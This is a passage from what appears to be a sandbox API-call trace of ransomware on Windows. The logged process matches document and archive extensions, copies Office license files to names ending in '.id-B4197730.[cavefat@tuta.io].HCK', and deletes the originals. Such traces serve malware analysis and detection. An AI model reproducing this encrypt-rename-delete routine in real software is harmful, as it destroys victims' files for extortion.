lpString2="m-ms") returned -1 [0243.496] lstrlenW (lpString=".xlsx") returned 5 [0243.496] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0243.496] lstrlenW (lpString=".ppt") returned 4 [0243.496] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0243.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms") returned 80 [0243.496] lstrlenW (lpString=".zip") returned 4 [0243.496] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0243.496] lstrlenW (lpString=".rar") returned 4 [0243.496] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0243.496] lstrlenW (lpString=".bz2") returned 4 [0243.496] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0243.496] lstrlenW (lpString=".7z") returned 3 [0243.496] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0243.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms") returned 80 [0243.496] lstrlenW (lpString=".dbf") returned 4 [0243.496] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0243.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms") returned 80 [0243.496] lstrlenW (lpString=".1cd") returned 4 [0243.496] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0243.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms") returned 80 [0243.496] lstrlenW (lpString=".jpg") returned 4 [0243.496] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0243.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms") returned 80 [0243.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms") returned 80 [0243.496] lstrlenW (lpString=".doc") returned 4 [0243.496] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0243.496] lstrlenW (lpString=".docx") returned 5 [0243.496] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0243.496] lstrlenW (lpString=".pdf") returned 4 [0243.496] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0243.496] lstrlenW (lpString=".xls") returned 4 [0243.496] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0243.496] lstrlenW (lpString=".xlsx") returned 5 [0243.496] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0243.496] lstrlenW (lpString=".ppt") returned 4 [0243.496] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0243.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms") returned 80 [0243.496] lstrlenW (lpString=".zip") returned 4 [0243.496] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0243.496] lstrlenW (lpString=".rar") returned 4 [0243.496] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0243.497] lstrlenW (lpString=".bz2") returned 4 [0243.497] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0243.497] lstrlenW (lpString=".7z") returned 3 [0243.497] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0243.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms") returned 80 [0243.497] lstrlenW (lpString=".dbf") returned 4 [0243.497] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0243.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms") returned 80 [0243.497] lstrlenW (lpString=".1cd") returned 4 [0243.497] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0243.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms") returned 80 [0243.497] lstrlenW (lpString=".jpg") returned 4 [0243.497] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0243.497] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0243.497] lstrlenW (lpString="O365HomePremR_Grace-ul-oob.xrm-ms") returned 33 [0243.497] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0243.854] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=11624) returned 1 [0243.854] CloseHandle (hObject=0x558) returned 1 [0243.854] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_grace-ul-oob.xrm-ms")) returned 0x220 [0244.373] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_grace-ul-oob.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0244.662] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0244.663] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.663] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.663] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_grace-ul-oob.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x428 [0244.676] GetLastError () returned 0x0 [0244.676] ReadFile (in: hFile=0x4c8, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x2d68, lpOverlapped=0x0) returned 1 [0244.678] WriteFile (in: hFile=0x428, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0x2d70, lpOverlapped=0x0) returned 1 [0244.679] ReadFile (in: hFile=0x4c8, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0244.679] WriteFile (in: hFile=0x428, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0x116, lpOverlapped=0x0) returned 1 [0244.679] SetEndOfFile (hFile=0x428) returned 1 [0244.679] CloseHandle (hObject=0x428) returned 1 [0244.680] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.680] SetEndOfFile (hFile=0x4c8) returned 1 [0244.681] CloseHandle (hObject=0x4c8) returned 1 [0244.682] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0244.682] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_grace-ul-oob.xrm-ms")) returned 1 [0244.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms") returned 83 [0244.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms") returned 83 [0244.683] lstrlenW (lpString=".doc") returned 4 [0244.683] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0244.683] lstrlenW (lpString=".docx") returned 5 [0244.683] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0244.683] lstrlenW (lpString=".pdf") returned 4 [0244.683] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0244.683] lstrlenW (lpString=".xls") returned 4 [0244.683] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0244.683] lstrlenW (lpString=".xlsx") returned 5 [0244.683] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0244.683] lstrlenW (lpString=".ppt") returned 4 [0244.683] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0244.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms") returned 83 [0244.683] lstrlenW (lpString=".zip") returned 4 [0244.683] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0244.683] lstrlenW (lpString=".rar") returned 4 [0244.683] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0244.683] lstrlenW (lpString=".bz2") returned 4 [0244.683] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0244.683] lstrlenW (lpString=".7z") returned 3 [0244.683] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0244.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms") returned 83 [0244.683] lstrlenW (lpString=".dbf") returned 4 [0244.683] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0244.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms") returned 83 [0244.683] lstrlenW (lpString=".1cd") returned 4 [0244.684] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0244.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms") returned 83 [0244.684] lstrlenW (lpString=".jpg") returned 4 [0244.684] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0244.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms") returned 83 [0244.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms") returned 83 [0244.684] lstrlenW (lpString=".doc") returned 4 [0244.684] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0244.684] lstrlenW (lpString=".docx") returned 5 [0244.684] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0244.684] lstrlenW (lpString=".pdf") returned 4 [0244.684] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0244.684] lstrlenW (lpString=".xls") returned 4 [0244.684] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0244.684] lstrlenW (lpString=".xlsx") returned 5 [0244.684] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0244.684] lstrlenW (lpString=".ppt") returned 4 [0244.684] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0244.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms") returned 83 [0244.684] lstrlenW (lpString=".zip") returned 4 [0244.684] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0244.684] lstrlenW (lpString=".rar") returned 4 [0244.684] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0244.684] lstrlenW (lpString=".bz2") returned 4 [0244.684] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0244.684] lstrlenW (lpString=".7z") returned 3 [0244.684] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0244.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms") returned 83 [0244.684] lstrlenW (lpString=".dbf") returned 4 [0244.684] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0244.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms") returned 83 [0244.684] lstrlenW (lpString=".1cd") returned 4 [0244.684] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0244.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms") returned 83 [0244.684] lstrlenW (lpString=".jpg") returned 4 [0244.684] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0244.684] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0244.684] lstrlenW (lpString="O365HomePremR_SubTest1-ul-oob.xrm-ms") returned 36 [0244.685] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest1-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0244.686] GetFileSizeEx (in: hFile=0x4c8, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=11630) returned 1 [0244.686] CloseHandle (hObject=0x4c8) returned 1 [0244.686] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest1-ul-oob.xrm-ms")) returned 0x220 [0244.686] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest1-ul-oob.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0244.686] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest1-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0244.686] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.686] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.686] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest1-ul-oob.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x428 [0244.687] GetLastError () returned 0x0 [0244.687] ReadFile (in: hFile=0x4c8, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x2d6e, lpOverlapped=0x0) returned 1 [0244.689] WriteFile (in: hFile=0x428, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0x2d70, lpOverlapped=0x0) returned 1 [0244.689] ReadFile (in: hFile=0x4c8, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0244.689] WriteFile (in: hFile=0x428, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0x11c, lpOverlapped=0x0) returned 1 [0244.689] SetEndOfFile (hFile=0x428) returned 1 [0244.690] CloseHandle (hObject=0x428) returned 1 [0244.690] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.690] SetEndOfFile (hFile=0x4c8) returned 1 [0244.692] CloseHandle (hObject=0x4c8) returned 1 [0244.692] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0244.692] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest1-ul-oob.xrm-ms")) returned 1 [0244.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ul-oob.xrm-ms") returned 86 [0244.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ul-oob.xrm-ms") returned 86 [0244.693] lstrlenW (lpString=".doc") returned 4 [0244.693] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0244.693] lstrlenW (lpString=".docx") returned 5 [0244.693] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0244.693] lstrlenW (lpString=".pdf") returned 4 [0244.693] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0244.693] lstrlenW (lpString=".xls") returned 4 [0244.693] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0244.693] lstrlenW (lpString=".xlsx") returned 5 [0244.693] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0244.693] lstrlenW (lpString=".ppt") returned 4 [0244.693] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0244.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ul-oob.xrm-ms") returned 86 [0244.693] lstrlenW (lpString=".zip") returned 4 [0244.693] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0244.693] lstrlenW (lpString=".rar") returned 4 [0244.693] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0244.693] lstrlenW (lpString=".bz2") returned 4 [0244.693] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0244.693] lstrlenW (lpString=".7z") returned 3 [0244.693] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0244.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ul-oob.xrm-ms") returned 86 [0244.693] lstrlenW (lpString=".dbf") returned 4 [0244.693] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0244.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ul-oob.xrm-ms") returned 86 [0244.693] lstrlenW (lpString=".1cd") returned 4 [0244.693] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0244.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ul-oob.xrm-ms") returned 86 [0244.694] lstrlenW (lpString=".jpg") returned 4 [0244.694] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0244.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ul-oob.xrm-ms") returned 86 [0244.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ul-oob.xrm-ms") returned 86 [0244.694] lstrlenW (lpString=".doc") returned 4 [0244.694] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0244.694] lstrlenW (lpString=".docx") returned 5 [0244.694] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0244.694] lstrlenW (lpString=".pdf") returned 4 [0244.694] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0244.694] lstrlenW (lpString=".xls") returned 4 [0244.694] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0244.694] lstrlenW (lpString=".xlsx") returned 5 [0244.694] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0244.694] lstrlenW (lpString=".ppt") returned 4 [0244.694] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0244.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ul-oob.xrm-ms") returned 86 [0244.694] lstrlenW (lpString=".zip") returned 4 [0244.694] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0244.694] lstrlenW (lpString=".rar") returned 4 [0244.694] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0244.694] lstrlenW (lpString=".bz2") returned 4 [0244.694] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0244.694] lstrlenW (lpString=".7z") returned 3 [0244.694] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0244.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ul-oob.xrm-ms") returned 86 [0244.694] lstrlenW (lpString=".dbf") returned 4 [0244.694] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0244.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ul-oob.xrm-ms") returned 86 [0244.694] lstrlenW (lpString=".1cd") returned 4 [0244.694] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0244.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ul-oob.xrm-ms") returned 86 [0244.694] lstrlenW (lpString=".jpg") returned 4 [0244.694] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0244.694] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0244.694] lstrlenW (lpString="O365HomePremR_SubTest2-pl.xrm-ms") returned 32 [0244.694] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest2-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0244.695] GetFileSizeEx (in: hFile=0x4c8, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=11179) returned 1 [0244.695] CloseHandle (hObject=0x4c8) returned 1 [0244.695] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest2-pl.xrm-ms")) returned 0x220 [0244.695] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest2-pl.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0244.696] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest2-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0244.696] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.696] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.696] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest2-pl.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x428 [0244.697] GetLastError () returned 0x0 [0244.697] ReadFile (in: hFile=0x4c8, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x2bab, lpOverlapped=0x0) returned 1 [0244.901] WriteFile (in: hFile=0x428, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0x2bb0, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0x2bb0, lpOverlapped=0x0) returned 1 [0244.902] ReadFile (in: hFile=0x4c8, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0244.902] WriteFile (in: hFile=0x428, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0x114, lpOverlapped=0x0) returned 1 [0244.902] SetEndOfFile (hFile=0x428) returned 1 [0244.902] CloseHandle (hObject=0x428) returned 1 [0244.902] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.902] SetEndOfFile (hFile=0x4c8) returned 1 [0244.904] CloseHandle (hObject=0x4c8) returned 1 [0244.904] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0244.958] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft 